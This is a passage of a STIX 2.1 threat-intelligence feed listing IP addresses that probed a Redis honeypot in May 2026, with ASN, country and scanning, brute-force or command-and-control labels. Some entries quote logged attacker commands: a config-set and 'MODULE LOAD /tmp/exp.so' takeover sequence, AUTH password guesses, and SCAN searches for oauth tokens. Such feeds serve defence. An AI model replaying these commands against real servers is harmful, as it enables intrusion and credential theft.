      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--19f1ddd7-1d03-4e27-80df-9b88e47bd397",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-08T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.142.178.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:25:10.000Z",
      "valid_until": "2026-06-09T11:25:09.000Z"
    },
    {
      "created": "2026-05-08T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=CA; asn=12989; asn_org=Black HOST Ltd; redis_cmd_hits=0",
      "id": "indicator--63ea2fe5-3504-4c42-91d1-bb2cfb1521fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '86.54.31.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T11:25:10.000Z",
      "valid_until": "2026-06-09T11:25:09.000Z"
    },
    {
      "created": "2026-05-08T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=SG; asn=212238; asn_org=Datacamp Limited; redis_cmd_hits=0",
      "id": "indicator--d970219e-8f6b-4467-b0cc-35ea2cf4a24f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.199.60.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:25:10.000Z",
      "valid_until": "2026-06-09T12:25:09.000Z"
    },
    {
      "created": "2026-05-08T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--5510aaee-c44a-4687-96c0-6d4269717e3b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-08T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.121.183.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:25:10.000Z",
      "valid_until": "2026-06-09T12:25:09.000Z"
    },
    {
      "created": "2026-05-08T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=16; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--1f10668e-4aff-41db-9118-58ab5394b5ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.228.42.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T12:25:10.000Z",
      "valid_until": "2026-06-09T12:25:09.000Z"
    },
    {
      "created": "2026-05-08T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--ebca20b7-4e1c-49dc-8e67-bfee61f4eb05",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-08T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.232.3.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:25:10.000Z",
      "valid_until": "2026-06-09T13:25:09.000Z"
    },
    {
      "created": "2026-05-08T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--45c8c380-668e-4e49-a300-a4de10101dad",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-08T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.79.186.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:25:10.000Z",
      "valid_until": "2026-06-09T13:25:09.000Z"
    },
    {
      "created": "2026-05-08T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--ca2ab586-c585-4e74-81b6-3519c2964731",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T13:25:10.000Z",
      "valid_until": "2026-06-09T13:25:09.000Z"
    },
    {
      "created": "2026-05-08T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=AT; asn=44133; asn_org=IPAX GmbH; redis_cmd_hits=0",
      "id": "indicator--ac5723bb-3a0c-4197-bdf7-4f57d33d90f8",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-08T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '93.189.30.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T15:25:10.000Z",
      "valid_until": "2026-06-09T15:25:09.000Z"
    },
    {
      "created": "2026-05-08T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=US; asn=36352; asn_org=HostPapa; redis_cmds=SCAN 0 MATCH oauth:token:* COUNT 3,SCAN 0 MATCH oauth:* COUNT 3; redis_cmd_hits=0",
      "id": "indicator--992106a9-9446-40a1-8d26-417574dfb0e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '107.174.52.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:25:10.000Z",
      "valid_until": "2026-06-09T16:25:09.000Z"
    },
    {
      "created": "2026-05-08T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--1ed358cf-f259-4575-a275-6a2fe2f93440",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.255.237.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T16:25:10.000Z",
      "valid_until": "2026-06-09T16:25:09.000Z"
    },
    {
      "created": "2026-05-08T18:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--d3aa3816-d116-4d72-8023-c5e8484c8c8f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-08T18:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '120.48.151.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:25:05.000Z",
      "valid_until": "2026-06-09T18:25:04.000Z"
    },
    {
      "created": "2026-05-08T18:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--93c254e3-db0a-453a-aca0-4d63bb60515c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T18:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.55.84.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T18:25:05.000Z",
      "valid_until": "2026-06-09T18:25:04.000Z"
    },
    {
      "created": "2026-05-08T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--8a06f8d5-970c-4357-986f-549c4cd5242b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-08T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.230.235.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:25:10.000Z",
      "valid_until": "2026-06-09T20:25:09.000Z"
    },
    {
      "created": "2026-05-08T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--90b28aa9-4ea5-4816-90ca-d72b3d015ac0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-08T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '52.185.212.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-08T20:25:10.000Z",
      "valid_until": "2026-06-09T20:25:09.000Z"
    },
    {
      "created": "2026-05-09T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=23; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmds=config set dbfilename root,config set rdbcompression yes,config set dbfilename dump.rdb,config set dir .,MODULE LOAD /tmp/exp.so; redis_cmd_hits=0; cmd=\"MODULE LOAD /tmp/exp.so\"",
      "id": "indicator--cb1aacde-443e-447d-81e8-4f459a656e3d",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-09T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '106.13.23.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:25:10.000Z",
      "valid_until": "2026-06-10T01:25:09.000Z"
    },
    {
      "created": "2026-05-09T01:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--f773ea25-8299-4b9c-9a86-33ec7be4874c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-09T01:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.92.97.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T01:25:10.000Z",
      "valid_until": "2026-06-10T01:25:09.000Z"
    },
    {
      "created": "2026-05-09T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--e5c1bfc3-6266-42b6-952d-1006eecc9bd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T02:25:10.000Z",
      "valid_until": "2026-06-10T02:25:10.000Z"
    },
    {
      "created": "2026-05-09T03:25:19.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=79; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--8be5d4f2-2465-4a2f-9c98-ca73bc20b517",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T03:25:19.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '3.130.168.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T03:25:19.000Z",
      "valid_until": "2026-06-10T03:25:09.000Z"
    },
    {
      "created": "2026-05-09T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--db7d927a-4b0e-48fc-91c2-3c9f9a3a4d05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '71.6.199.87']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T04:25:10.000Z",
      "valid_until": "2026-06-10T04:25:09.000Z"
    },
    {
      "created": "2026-05-09T05:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--460eed3a-7498-4222-937c-beaecd03b324",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T05:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.245.55.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T05:25:10.000Z",
      "valid_until": "2026-06-10T05:25:09.000Z"
    },
    {
      "created": "2026-05-09T06:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--3d27c7ff-3199-4a6a-87bc-a4ec455063df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '116.62.148.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:25:05.000Z",
      "valid_until": "2026-06-10T06:25:03.000Z"
    },
    {
      "created": "2026-05-09T06:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=139180; asn_org=Shandong eshinton Network Technology Co., Ltd.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--279de172-92e8-4f3e-9d49-bfc7a0fe285b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-09T06:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.125.47.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:25:05.000Z",
      "valid_until": "2026-06-10T06:25:03.000Z"
    },
    {
      "created": "2026-05-09T06:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=NL; asn=62005; asn_org=BlueVPS OU; redis_cmd_hits=0",
      "id": "indicator--e3c2797a-2c94-4017-90f7-c8402339b987",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T06:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.143.167.96']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T06:25:05.000Z",
      "valid_until": "2026-06-10T06:25:03.000Z"
    },
    {
      "created": "2026-05-09T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=48; ports=6379; cc=US; asn=154177; asn_org=LIGHT NODE LIMITED; redis_cmd_hits=0",
      "id": "indicator--861fbd0b-3e6c-432f-9e79-af0eb12567ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.94.115.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T08:25:10.000Z",
      "valid_until": "2026-06-10T08:25:09.000Z"
    },
    {
      "created": "2026-05-09T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--6e21bd1d-6bfe-485f-8daf-5246748dce0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '142.93.106.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T09:25:10.000Z",
      "valid_until": "2026-06-10T09:25:09.000Z"
    },
    {
      "created": "2026-05-09T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=18; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--6d4fa4f6-883a-4173-a209-4a9c930b1f6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.118.32.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:25:10.000Z",
      "valid_until": "2026-06-10T10:25:09.000Z"
    },
    {
      "created": "2026-05-09T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=DE; asn=212512; asn_org=Detai Prosperous Technologies Limited; redis_cmd_hits=0",
      "id": "indicator--6296d1df-12e8-485c-8b18-49420199de64",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-09T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.82.76.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T10:25:10.000Z",
      "valid_until": "2026-06-10T10:25:09.000Z"
    },
    {
      "created": "2026-05-09T12:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CL; asn=31898; asn_org=Oracle Corporation; redis_cmd_hits=0",
      "id": "indicator--ea50ddb9-1aca-41d2-b1ac-7ae4f885825b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-09T12:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '69.6.227.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T12:25:10.000Z",
      "valid_until": "2026-06-10T12:25:09.000Z"
    },
    {
      "created": "2026-05-09T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--d3131355-38d1-4b7f-bced-78ebf9da1736",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '135.222.182.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T13:25:10.000Z",
      "valid_until": "2026-06-10T13:25:09.000Z"
    },
    {
      "created": "2026-05-09T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--b75b876f-bdfa-4fa0-8019-ed9e32e32864",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:25:10.000Z",
      "valid_until": "2026-06-10T14:25:09.000Z"
    },
    {
      "created": "2026-05-09T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--32e788f1-d7d8-4ca6-bc08-d5283868f023",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-09T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T14:25:10.000Z",
      "valid_until": "2026-06-10T14:25:09.000Z"
    },
    {
      "created": "2026-05-09T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=CN; asn=58466; asn_org=CHINANET Guangdong province network; redis_cmd_hits=0",
      "id": "indicator--6357eb1f-f8f7-40ec-b2a9-c678f0745d48",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-09T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '14.116.219.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:25:10.000Z",
      "valid_until": "2026-06-10T15:25:09.000Z"
    },
    {
      "created": "2026-05-09T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=IN; asn=132420; asn_org=282, Sector 19; redis_cmd_hits=0",
      "id": "indicator--fce96795-39f3-46e4-bbc2-a1527208f931",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '164.52.196.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:25:10.000Z",
      "valid_until": "2026-06-10T15:25:09.000Z"
    },
    {
      "created": "2026-05-09T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--b69c472b-13ab-43b9-937c-e5c0e488d54a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-09T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T15:25:10.000Z",
      "valid_until": "2026-06-10T15:25:09.000Z"
    },
    {
      "created": "2026-05-09T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=RO; asn=214295; asn_org=Skynet Network Ltd; redis_cmd_hits=0",
      "id": "indicator--236d157c-aeca-4486-ab6a-4d4012223d88",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-09T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T18:25:10.000Z",
      "valid_until": "2026-06-10T18:25:09.000Z"
    },
    {
      "created": "2026-05-09T19:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=2207; ports=6379; cc=PL; asn=210895; asn_org=Podaon SIA; redis_cmds=AUTH root,AUTH redis,AUTH changeme,AUTH password,AUTH admin; redis_cmd_hits=0; cmd=\"AUTH testredis\"",
      "id": "indicator--362d7368-5dc1-407e-8853-dc4e114b9ed1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T19:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '212.162.155.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T19:25:04.000Z",
      "valid_until": "2026-06-10T19:25:04.000Z"
    },
    {
      "created": "2026-05-09T20:25:53.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=25; ports=6379; cc=JP; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--6fe99a61-e033-4f1f-889c-b5250d94a28f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T20:25:53.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.74.51.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T20:25:53.000Z",
      "valid_until": "2026-06-10T20:25:04.000Z"
    },
    {
      "created": "2026-05-09T21:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--1fe2666a-9fff-4e65-aea4-7b3264ebba14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-09T21:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '39.105.202.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-09T21:25:11.000Z",
